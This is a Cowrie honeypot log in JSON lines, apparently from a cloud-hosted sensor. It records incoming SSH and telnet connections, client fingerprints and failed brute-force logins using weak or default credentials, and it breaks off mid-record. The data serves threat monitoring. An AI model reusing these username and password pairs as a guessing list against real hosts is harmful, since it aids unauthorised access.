{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":55368,"dst_ip":"10.17.0.5","dst_port":22,"session":"40e7b9695282","protocol":"ssh","message":"New connection: 46.19.67.181:55368 (10.17.0.5:22) [session: 40e7b9695282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:26.218304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:26.224332Z","src_ip":"46.19.67.181","session":"40e7b9695282","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:26.331568Z","src_ip":"46.19.67.181","session":"40e7b9695282","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raushan","message":"login attempt [root/raushan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:26.654584Z","src_ip":"46.19.67.181","session":"40e7b9695282","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:27.764583Z","src_ip":"46.19.67.181","session":"40e7b9695282","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":56582,"dst_ip":"10.17.0.5","dst_port":22,"session":"a18c87845477","protocol":"ssh","message":"New connection: 165.22.184.88:56582 (10.17.0.5:22) [session: a18c87845477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:44.824011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:44.826932Z","src_ip":"165.22.184.88","session":"a18c87845477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:44.830332Z","src_ip":"165.22.184.88","session":"a18c87845477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"enjin456","message":"login attempt [root/enjin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:44.842978Z","src_ip":"165.22.184.88","session":"a18c87845477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:45.849194Z","src_ip":"165.22.184.88","session":"a18c87845477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":35970,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c2aba09c900","protocol":"ssh","message":"New connection: 91.92.40.176:35970 (10.17.0.5:22) [session: 9c2aba09c900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:50.324242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:50.327735Z","src_ip":"91.92.40.176","session":"9c2aba09c900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:50.407904Z","src_ip":"91.92.40.176","session":"9c2aba09c900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"httpd","message":"login attempt [apache/httpd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:50.651884Z","src_ip":"91.92.40.176","session":"9c2aba09c900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":47398,"dst_ip":"159.203.135.109","dst_port":22,"session":"a186a694572c","protocol":"ssh","message":"New connection: 172.190.89.127:47398 (159.203.135.109:22) [session: a186a694572c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:51.529529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:51.533146Z","src_ip":"172.190.89.127","session":"a186a694572c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:51.546340Z","src_ip":"172.190.89.127","session":"a186a694572c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp_user","password":"123456","message":"login attempt [sftp_user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:51.636131Z","src_ip":"172.190.89.127","session":"a186a694572c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:51.739962Z","src_ip":"91.92.40.176","session":"9c2aba09c900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:52.675370Z","src_ip":"172.190.89.127","session":"a186a694572c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":43308,"dst_ip":"159.203.135.109","dst_port":22,"session":"8324019013f5","protocol":"ssh","message":"New connection: 143.20.185.207:43308 (159.203.135.109:22) [session: 8324019013f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:57.688306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:57.726348Z","src_ip":"143.20.185.207","session":"8324019013f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:57.894941Z","src_ip":"143.20.185.207","session":"8324019013f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined8VCPU32GBAMD","message":"login attempt [root/undefined8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:58.358570Z","src_ip":"143.20.185.207","session":"8324019013f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:42:59.481292Z","src_ip":"143.20.185.207","session":"8324019013f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":48398,"dst_ip":"159.203.135.109","dst_port":22,"session":"217a94115909","protocol":"ssh","message":"New connection: 41.242.115.84:48398 (159.203.135.109:22) [session: 217a94115909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:13.581629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:13.586111Z","src_ip":"41.242.115.84","session":"217a94115909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:13.808125Z","src_ip":"41.242.115.84","session":"217a94115909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":46166,"dst_ip":"10.17.0.5","dst_port":22,"session":"17fbcfb7f2ff","protocol":"ssh","message":"New connection: 108.179.220.174:46166 (10.17.0.5:22) [session: 17fbcfb7f2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:14.174739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:14.178679Z","src_ip":"108.179.220.174","session":"17fbcfb7f2ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:14.204122Z","src_ip":"108.179.220.174","session":"17fbcfb7f2ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"44bc88af4d3c","protocol":"telnet","message":"New connection: 167.172.116.158:41738 (159.203.135.109:23) [session: 44bc88af4d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:14.244627Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cow123","message":"login attempt [root/cow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:14.279895Z","src_ip":"108.179.220.174","session":"17fbcfb7f2ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123$%^","message":"login attempt [root/admin123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:14.717618Z","src_ip":"41.242.115.84","session":"217a94115909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:15.306944Z","src_ip":"108.179.220.174","session":"17fbcfb7f2ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:15.940022Z","src_ip":"41.242.115.84","session":"217a94115909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":51972,"dst_ip":"159.203.135.109","dst_port":22,"session":"a70f687d6127","protocol":"ssh","message":"New connection: 154.205.134.214:51972 (159.203.135.109:22) [session: a70f687d6127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:50.924316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:50.929128Z","src_ip":"154.205.134.214","session":"a70f687d6127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:51.088237Z","src_ip":"154.205.134.214","session":"a70f687d6127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin.2010","message":"login attempt [root/Admin.2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:51.738997Z","src_ip":"154.205.134.214","session":"a70f687d6127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":59128,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23b54baea43","protocol":"ssh","message":"New connection: 162.241.129.208:59128 (159.203.135.109:22) [session: e23b54baea43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:52.051803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:43:52.055166Z","src_ip":"162.241.129.208","session":"e23b54baea43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@opens